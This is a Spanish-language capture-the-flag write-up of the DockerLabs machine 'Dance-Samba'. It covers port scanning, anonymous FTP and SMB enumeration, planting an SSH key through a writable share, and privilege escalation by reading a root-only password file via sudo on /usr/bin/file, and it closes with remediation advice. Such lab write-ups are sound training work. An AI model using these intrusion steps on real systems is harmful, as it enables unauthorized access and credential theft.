Dance-Samba
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Dance-Samba, desarrollada por d1se0 para la plataforma DockerLabs y clasificada como Medio.
El objetivo es describir el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y destacando las vulnerabilidades explotadas.
La metodología se divide en tres fases principales:
- Reconocimiento: identificación de servicios expuestos y análisis inicial.
- Explotación: obtención de acceso inicial abusando del servicio SMB.
- Escalada de privilegios: uso de un binario SUID para obtener acceso a
root.
Todas las acciones se realizaron en el entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Dance-Samba |
| Autor | d1se0 |
| Dificultad | Medio |
| Fecha | 26/08/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime y despliega la máquina:
unzip "Dance-Samba.zip"sudo bash auto_deploy.sh "Dance-Samba.tar"
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p Dance-Samba/{content,exploits,nmap,gobuster,scripts}cd Dance-Samba1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos:
- 21/tcp – FTP
- 22/tcp – SSH
- 139/tcp – SMB
- 445/tcp – SMB

1.3 Escaneo de servicios
Sección titulada «1.3 Escaneo de servicios»nmap -sCV -p21,22,139,445 172.17.0.2
Se observa que FTP permite acceso anónimo, lo cual es un vector relevante.
1.4 Enumeración FTP
Sección titulada «1.4 Enumeración FTP»Accedemos como usuario anónimo:
ftp 172.17.0.2
Descargamos nota.txt:

El archivo contiene dos pistas importantes: Macarena y donald.
1.5 Enumeración SMB
Sección titulada «1.5 Enumeración SMB»Usamos enum4linux:


Se confirma:
- Usuario válido: macarena
- Compartición SMB: macarena
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»Accedemos al recurso SMB usando el usuario identificado:
smbclient //172.17.0.2/macarena -U macarena
Encontramos el archivo user.txt:

El hash no es crackeable, pero la carpeta tiene permisos de escritura, por lo que podemos introducir nuestras propias claves SSH.
2.1 Inyección de clave SSH
Sección titulada «2.1 Inyección de clave SSH»Creamos la carpeta:
mkdir .sshCreamos clave RSA (si no existe):
ssh-keygen -t rsa -b 4096Copiamos nuestra clave pública:
cp ~/.ssh/id_rsa.pub .Subimos al servidor:
cd .ssh/put id_rsa.pubCreamos authorized_keys en local:
cat id_rsa.pub > authorized_keysLo subimos:
put authorized_keysFinalmente, accedemos al sistema:
ssh -i ~/.ssh/id_rsa macarena@172.17.0.2
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 Macarena → root
Sección titulada «3.1 Macarena → root»Revisamos contenido del directorio:

El archivo contiene un dato codificado. Tras procesarlo en CyberChef:

Obtenemos:
supersecurepaswordProbamos contraseña con Macarena → funciona.
Hacemos:
sudo -l
Tenemos permiso sudo sobre /usr/bin/file.
Buscamos archivos a los que solo root puede acceder:

Leemos el archivo con file:
sudo file -f /opt/password.txt
Obtenemos credenciales:
root : rooteable2Hacemos:
su root
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»-
FTP anónimo habilitado Permite acceso directo sin autenticación y exposición de archivos internos.
-
Credenciales y pistas almacenadas en texto plano
nota.txt, hashes y contraseñas expuestos sin protección. -
Permisos de escritura en el home de un usuario real a través de SMB Posibilita el secuestro de sesión mediante claves SSH.
-
Hash reversible sin medidas de protección adicionales Codificación en base32/base64 sin cifrado real.
-
Archivo sensible accesible únicamente con binario SUID vulnerable El binario
/usr/bin/filepermite leer archivos de root. -
Contraseña débil para root (
rooteable2) Fácilmente adivinable o derivable.
Recomendaciones
Sección titulada «Recomendaciones»-
Deshabilitar FTP anónimo y usar SFTP o FTPS Evita accesos no autorizados.
-
Eliminar archivos con información sensible en texto plano Centralizar credenciales en un sistema seguro.
-
Configurar correctamente permisos en SMB Evitar permisos de escritura en directorios de usuarios críticos.
-
Usar hashing seguro (bcrypt, argon2) Evitar codificaciones triviales como base64/base32.
-
Eliminar binarios SUID innecesarios O restringirlos con medidas como AppArmor o sudoers.
-
Imponer políticas de contraseñas fuertes Longitud mínima, complejidad, caducidad y bloqueo por intentos.